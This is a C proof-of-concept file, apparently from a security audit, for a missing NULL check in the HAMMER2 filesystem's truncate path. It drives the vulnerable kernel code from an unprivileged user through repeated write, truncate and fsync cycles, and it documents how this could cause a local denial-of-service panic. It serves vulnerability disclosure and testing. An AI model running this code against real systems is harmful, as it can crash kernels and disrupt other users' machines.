DF-0800 / df0800_trunc_deref.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | /* * DF-0800 โ Missing NULL check on hammer2_inode_chain() in truncate reset * path of hammer2_xop_inode_chain_sync (hammer2_xops.c:1603-1607). * * The backend xop re-fetches the inode chain after the truncation loop when * parent has been pushed down into an indirect block (parent->bref.type != * INODE). The returned pointer is immediately dereferenced for a kprintf() * format argument without any NULL test, unlike EVERY other xop in the file * (xop_readdir:204, xop_nresolve:263, xop_unlink:352, xop_bmap:1656, and * the first fetch in this very function at hammer2_xops.c:1547). * * NULL is returned by hammer2_inode_chain() (hammer2_inode.c:408) when * - clindex >= cluster->nchains, OR * - cluster->array[clindex].chain == NULL (gapped/degraded slot, or a * slot cleared by a concurrent hammer2_inode_repoint() during the * unlock+drop+reacquire window at hammer2_xops.c:1601-1605). * * Result: kernel NULL-deref panic inside kprintf()->%s dereference of * parent->data->ipdata.filename โ local DoS. (The filename buffer * is 256 bytes and not guaranteed NUL-terminated on a crafted image, * but the NULL deref fires first, so the %s OOB-read is moot on a * well-formed image.) * * This PoC exercises the vulnerable code path from the unprivileged syscall * surface (HAMMER2 is the root filesystem on the audit guest). It forces a * truncate-down of a file large enough to span indirect blocks (>= 256 KiB), * which makes the lookup loop walk parent into HAMMER2_BREF_TYPE_INDIRECT and * thus enter the reset block. When the re-fetch returns non-NULL (the * normal case on a healthy single-node PFS), the kernel logs: * * xop_inode_chain_sync: TRUNCATE RESET on '<filename>' * * in dmesg โ that log line is the proof the buggy block executed. When the * re-fetch races to NULL (concurrent repoint on a multi-node cluster, or a * degraded/gapped cluster), the kernel takes a fatal trap 12 page fault in * the kprintf %s dereference instead. * * Build: cc -O2 -o df0800_trunc_deref df0800_trunc_deref.c * Run: ./df0800_trunc_deref /tmp/df0800_bigfile * * No special privileges required โ runs as the unprivileged user on the * HAMMER2 root filesystem. */ #include <sys/fcntl.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> /* * HAMMER2_SET_COUNT is 4 blockrefs per blockset, each covering up to * HAMMER2_PBUFSIZE (64 KiB) of file data. Direct blockrefs in the inode * therefore cover the first 4 * 64 KiB = 256 KiB. Beyond that, data is * reached via HAMMER2_BREF_TYPE_INDIRECT chains, which is exactly what we * need for the lookup loop in hammer2_xop_inode_chain_sync to push `parent` * off the inode and into an indirect block, entering the vulnerable reset * block at hammer2_xops.c:1600. */ #define FILE_SIZE (1024 * 1024) /* 1 MiB โ well past the 256 KiB direct-blockref threshold */ #define TRUNC_SIZE (64 * 1024) /* truncate down into the indirect region โ lbase > embedded bytes */ #define BLOCK (64 * 1024) static void die(const char *msg) { perror(msg); exit(1); } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/tmp/df0800_bigfile"; char buf[BLOCK]; ssize_t n; off_t off; int fd, i; printf("DF-0800: exercising hammer2_xop_inode_chain_sync truncate " "reset path\n"); printf("DF-0800: path=%s size=%d trunc=%d\n", path, FILE_SIZE, TRUNC_SIZE); /* Fill the file past the indirect-block threshold. */ fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) die("open"); memset(buf, 'A', sizeof(buf)); off = 0; while (off < FILE_SIZE) { n = write(fd, buf, sizeof(buf)); if (n < 0) die("write"); off += n; } if (fsync(fd) != 0) die("fsync(1)"); printf("DF-0800: wrote %lld bytes and fsync'd (forces indirect-block " "chain creation)\n", (long long)off); /* * Truncate down. This sets HAMMER2_INODE_RESIZED with meta.size < osize, * which routes hammer2_xop_inode_chain_sync into the delete-beyond-EOF * loop. After the loop, parent->bref.type == INDIRECT (because the data * was in an indirect block), so the reset block at hammer2_xops.c:1600 * fires, calling hammer2_inode_chain() again at :1603 without a NULL * check and dereferencing the result at :1607. */ if (ftruncate(fd, TRUNC_SIZE) != 0) die("ftruncate"); printf("DF-0800: truncated to %d bytes\n", TRUNC_SIZE); if (fsync(fd) != 0) die("fsync(2)"); printf("DF-0800: fsync after truncate โ this drives the inode_chain_sync " "xop\n"); /* * Run several more truncate/fsync cycles. Each one re-enters the * vulnerable block. If a concurrent repoint ever clears the chain slot * during the unlock+drop+reacquire window, the kernel takes a NULL-deref * trap here. */ for (i = 0; i < 8; i++) { if (ftruncate(fd, FILE_SIZE) != 0) die("ftruncate(grow)"); if (ftruncate(fd, TRUNC_SIZE) != 0) die("ftruncate(shrink)"); if (fsync(fd) != 0) die("fsync(loop)"); } printf("DF-0800: completed %d grow/shrink/fsync cycles\n", i); close(fd); unlink(path); printf("DF-0800: done. Check dmesg for:\n" " 'xop_inode_chain_sync: TRUNCATE RESET on ...'\n" " If present, the buggy block at hammer2_xops.c:1603-1607 was " "executed.\n" " If the kernel panicked with a page fault in kprintf/%s, the\n" " NULL deref was hit (race with concurrent chain repoint).\n"); return 0; } |